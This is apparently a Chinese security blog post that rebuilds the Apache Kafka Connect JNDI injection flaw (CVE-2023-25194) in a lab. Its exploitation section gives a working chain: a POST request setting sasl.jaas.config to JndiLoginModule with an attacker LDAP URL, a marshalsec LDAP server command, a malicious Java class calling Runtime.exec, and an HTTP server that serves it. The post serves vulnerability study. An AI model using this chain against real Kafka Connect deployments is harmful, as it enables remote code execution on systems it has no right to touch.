<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache Kafka JNDI注入(CVE-2023-25194)漏洞復現淺析

    VSole2023-03-24 10:25:52

    關于

    Apache Kafka是一個開源的分布式事件流平臺,被數千家公司用于高性能數據管道、流分析、數據集成和任務關鍵型應用程序。

    影響版本

    2.4.0<=Apache kafka<=3.2.2

    環境搭建

    滿足影響版本的應該都可以,這里我是使用的版本為2.5.0

    wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz

    直接解壓

    這里可以使用命令直接起起來,最新版的kafka是集成Zookeeper

    .\bin\windows\zookeeper-server-start.bat .\config\zookeeper.properties

    但是報錯了,可以自己安裝zookeeper

    下載地址

    http://zookeeper.apache.org/releases.html

    這里配置文件其實可以補鈣,實際上日志記錄功能可選擇不要,直接啟動

    服務端正常啟動。

    只要不報錯即為正常啟動

    繼續修改kafka配置文件server.properties文件,修改日志存放路徑

    命令啟動

    .\bin\windows\kafka-server-start.bat .\config\server.properties
    

    測試kafa搭建是否存在問題

    • ? 創建主題
    .\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111

    • ? 查詢主題
    .\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092

    • ? 創建生產者
    .\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic test111

    • ? 創建消費者
    .\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning

    消息收發沒有問題,生產者輸入信息之后消費者會自動消費。

    啟動connect

    .\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties

    因為牽涉到補圖片,圖片內的時間順序可能不對,請忽略

    訪問

    http://192.168.2.135:8083/connector-plugins

    這里是沒有插件的,所以需要安裝插件。這里要復現CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector類,所以需要配置Debezium MySQL 連接器配置屬性

    安裝Debezium

    https://debezium.io/releases/2.1/

    這里根據自己環境安裝,比較友好的時不同的版本有介紹需要的java版本,因為我的java環境為1.8+的,所以這里我選擇的版本比較老

    在kafka的安裝目錄創建一個文件夾

    存放debezium,修改kafka的配置文件

    插件注意指向debezium的存放路徑,重新啟動,獲取到插件,這里需要必坑的位置

    1.java版本需要匹配kafka版本以及其他組件版本

    2.配置文件需要修改,否則會報錯。

    kafka在連接Mysql時 數據需要同步到 Elasticsearch

    具體的文章可以參考

    https://my.oschina.net/u/4923278/blog/5007756

    安裝mysql

    MySQL :: Download MySQL Installer

    需要避坑的位置

    結束

    登錄mysql數據庫,設置允許外部連接

    GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
    GRANT ALL ON *.* TO ''@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
    

    • ? set time_zone='+8:00';
    • ? show variables like '%time_zone%';

    mysql需要開啟配置

    log_bin           = mysql-bin
    binlog_format     = ROW
    binlog_row_image  = FULL
    expire_logs_days  = 10
    

    可參考

    https://blog.csdn.net/wang972779876/article/details/120002546

    訪問路徑

    http://192.168.2.135:8083/connector-plugins

    發現插件正常啟動,參考的有復現的文章,說的時需要做時鐘同步,但是在測試的時候發現其實時鐘未做設置的時候也沒有問題。

    漏洞利用

    POC如下:

    POST /connectors HTTP/1.1
    Host: 192.168.2.135:8083
    Content-Type: application/json
    Content-Length: 809
    {
        "name": "mysql-connect",
        "config": {
            "connector.class": "io.debezium.connector.mysql.MySqlConnector",
            "database.hostname": "192.168.2.135",
            "database.port": "3306",
            "database.user": "root",
            "database.password": "root",
            "database.server.id": "316545017",
            "database.server.name": "test1",
            "database.history.kafka.bootstrap.servers": "192.168.2.135:9092",
            "database.history.kafka.topic": "quickstart-events",    "database.history.producer.security.protocol": "SASL_SSL",
            "database.history.producer.sasl.mechanism": "PLAIN",
            "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.2.149:1389/rce\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
        }
    }
    

    具體的參數的配置屬性可以參考這篇文章

    https://blog.csdn.net/weixin_43564627/article/details/118959829

    在利用的時候需要注意在使用name時,為連接器的名稱,重復注冊則會返回報錯。

    使用 marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服務

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389

    發送POC

    可以看到請求了惡意類

    惡意類內容calc.java

    import java.lang.Runtime;
    public class Calc {
        public Calc() throws Exception{
            Runtime.getRuntime().exec("C:\Windwos\System32\cmd.exe ipconfg>C:\Users\Administrator\Desktop\2.txt");
        }
    }
    

    編譯java

    javac calc.java

    在8888端口起http服務

    python -m http.server 8888

    執行payload

    漏洞原理

    Apache Kafka Connect 是 Kafka 中用于和其他數據系統傳輸數據的服務,其獨立運行版本可以在 Kafka 發布包中通過 bin/connect-standalone.sh 啟動,默認會在 8083 端口開啟 HTTP REST API 服務,可對連接器(Connector)的配置進行操作。

    將連接器中的 Kafka 客戶端 sasl.jaas.config 屬性值設置為 com.sun.security.auth.module.JndiLoginModule(通過 producer.override.sasl.jaas.configconsumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 屬性進行配置)時,如果連接器連接到攻擊者可控的 LDAP 服務器時容易受到反序列化攻擊。

    小結

    如有錯誤還請師傅們指出,參考文章有限,歡迎分享。

    kafkakafka命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    假設Mysql中canal_test庫下有一張表policy_cred,需要統計實時統計policy_status狀態為1的mor_rate的的變化趨勢,并標注比率的風險預警等級。?本次安裝的canal版本為1.1.2,Canal版本最后在1.1.1之后。server端采用MQ模式,MQ選用Kafka。服務器系統為Centos
    Apache Kafka是一個開源的分布式事件流平臺,被數千家公司用于高性能數據管道、流分析、數據集成和任務關鍵型應用程序。
    GoReplay 是一款開源網絡監控工具,可以記錄您的實時流量,并將其用于shadowing、load testing、monitoring和detailed analysis。捕獲實時HTTP流量并將其重放到測試環境中,以便使用真實數據持續測試您的系統。
    這是關于如何使用Spring for Apache Kafka在跨多個微服務的MongoDB中管理分布式數據模型。
    前言Scala是以JVM為運行環境的面向對象的函數式編程語言,它可以直接訪問Java類庫并且與Java框架進行交互操作。正如之前所介紹,Spark是用Scala語言編寫的,Kafka server端也是,那么深入學習Scala對掌握Spark、Kafka是必備掌握技能。
    log4j2攻擊排查工具、黑客攻擊IP情報
    本文是一份全面的指南,解釋了如何使用nProbe Cento構建一個高效的100 Gbit NetFlow傳感器。旨在幫助大家充分利用NetFlow技術,以監控和分析高速網絡流量。當需要監控分布式網絡,了解流經上行鏈路或關鍵網段的網絡流量時,NetFlow等技術通常是最佳選擇。 nProbe Pro/Enterprise和nProbe Cento是軟件探針,可用于構建多功能傳感器,以多種
    本倉庫所涉及的技術、思路和工具僅供安全技術研究,任何人不得將其用于非授權滲透測試,不得將其用于非法用途和盈利,否則后果自行承擔。
    學習一下一款名叫codeql的程序分析工具
    最近測容器安全,才發現部署的容器云平臺和容器應用幾乎在裸奔,每個鏡像和容器都有各種各樣的漏洞,平臺本身也不少問題,真是不測不知道,一測嚇一跳。容器本身就是弱安全的,容易帶來越權逃逸等問題,同時容器應用研發人員對容器技術又缺乏了解,缺乏相應的安全意識和安全知識,這就帶來了比較嚴重的潛在的安全問題。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类